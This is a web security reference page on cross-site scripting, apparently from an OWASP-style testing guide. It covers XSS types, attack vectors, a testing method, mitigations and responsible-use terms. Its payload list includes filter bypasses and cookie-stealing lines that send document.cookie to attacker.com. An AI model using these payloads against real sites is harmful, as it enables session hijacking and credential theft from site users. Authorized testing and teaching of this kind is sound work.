OWASP Hunting
Injection

Cross-Site Scripting (XSS)

XSS attacks inject malicious scripts into web pages viewed by other users, enabling session hijacking, credential theft, and keylogging.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

Cross-Site Scripting (XSS) is a type of injection attack where malicious scripts are injected into otherwise trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user. There are three main types: Reflected XSS (script reflected off the server), Stored XSS (script permanently stored), and DOM-based XSS (vulnerability in client-side code).

Attack Vectors

  • Input fields (search, comments, messages)
  • URL parameters reflected in the page
  • HTTP headers reflected in responses
  • File upload names reflected in UI
  • JSON APIs that return unsanitized user content
  • Third-party script includes

Testing Methodology

  1. Submit <script>alert(1)</script> in all input fields
  2. Test URL parameters: ?q=<script>alert(1)</script>
  3. Try event handler injection: <img src=x onerror=alert(1)>
  4. Test for DOM-based XSS by modifying URL fragments
  5. Check if payloads survive encoding/sanitization filters
  6. Escalate from alert() to session cookie theft

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

Basic Detection
<script>alert('XSS')</script><script>alert(1)</script><script>alert(document.cookie)</script><script>alert(document.domain)</script>
IMG Tag
<img src=x onerror=alert(1)><img src=xss onerror=alert('XSS')><img/src="x"/onerror=alert(1)><img src=x onerror=alert(document.cookie)>
Event Handlers
<body onload=alert('XSS')><svg/onload=alert(1)><input autofocus onfocus=alert(1)><select autofocus onfocus=alert(1)><video src=x onerror=alert(1)>
Filter Bypass
<ScRipT>alert(1)</sCriPt>javascript:alert(1)<img src="x" onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"><IMG SRC=JaVaScRiPt:alert('XSS')>
DOM-Based
javascript:alert(document.domain)<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
Stored XSS Escalation
<script>fetch('https://attacker.com/?c='+document.cookie)</script><img src=x onerror="this.src='https://attacker.com/?c='+document.cookie">

Indicators of Vulnerability

  • JavaScript alert/prompt/confirm dialog appears
  • Script content reflected in page source without encoding
  • DOM modification by injected script
  • Network requests to external domains from victim browser

Detection Guidance

Implement Content Security Policy (CSP) headers. Use output encoding libraries. Monitor for XSS indicators in web application firewall logs. Test with automated scanners as well as manual payload testing.

Mitigation & Remediation

  • Implement strict Content Security Policy (CSP)
  • Use context-aware output encoding (HTML, JS, CSS, URL encoding)
  • Sanitize user input with an allowlist approach
  • Use HttpOnly and Secure flags on sensitive cookies
  • Enable X-Content-Type-Options and X-Frame-Options headers
  • Use modern frameworks with built-in XSS protection

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)